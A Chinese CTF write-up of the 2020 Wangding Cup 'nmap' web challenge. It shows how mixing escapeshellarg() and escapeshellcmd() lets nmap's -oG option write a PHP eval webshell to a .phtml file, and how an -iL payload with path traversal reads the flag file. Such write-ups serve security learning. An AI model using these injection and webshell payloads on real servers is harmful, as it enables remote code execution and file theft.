当前位置:网站首页>2020网鼎杯_朱雀组_Web_nmap

2020网鼎杯_朱雀组_Web_nmap

2022-07-06 09:15:00 Her&mes

WP

两个考察点

1.考察nmap的使用

2.考察escapeshellarg()与escapeshellcmd()混合使用的漏洞

第一个还好说,题目告诉了

第二个点嘛,不知道,完全不知道是从哪里获取到的,自闭ing

看其他师傅的wp,提到了[BUUCTF 2018]Online Tool,一道代码审计题,直接告诉了参数经过escapeshellarg()与escapeshellcmd()处理

两道题考察的点不能说一样,只能说完全一致。

nmap要用输出相关的参数

nmap中文网里查阅能有以下结果:

-oN (标准输出)

-oX (XML输出)

-oS (ScRipT KIdd|3 oUTpuT)

-oG (Grep输出)

-oA (输出至所有格式)

还有其他一些杂七杂八的输出,可以去看看,这里用-oG 构造payload

payload的主体是

<?php @eval($_POST["hack"]);?> -oG hack.php

然而发送后回显hacker字样

有过滤,进行fuzz测试,php被过滤了,但是phtml没有,并且用php的短标签能代替<?php,即有:

<?= @eval($_POST["hack"]);?> -oG hack.phtml

到这里还不行,这样的parload经过escapeshellarg()与escapeshellcmd()函数处理,没法产生文件

解决办法很简单,加空格和单引号就行,这样能产生可被正常解析的php文件

' <?= @eval($_POST["hack"]);?> -oG hack.phtml '

具体的原理看大佬写的PHP escapeshellarg()+escapeshellcmd() 之殇

在CSDN上还有其他师傅写的关于escapeshellarg()与escapeshellcmd()的分析,浅显易懂

除了写入webshell,还有直接读的方法,利用了-iL参数

' -iL ../../../../flag -o a '

直接访问a就行,下面也可以这样,不过要访问a’

' -iL ../../../../flag -o a

原因也是那两个函数。

原网站

版权声明
本文为[Her&mes]所创,转载请带上原文链接,感谢
https://blog.csdn.net/m0_52199518/article/details/115454428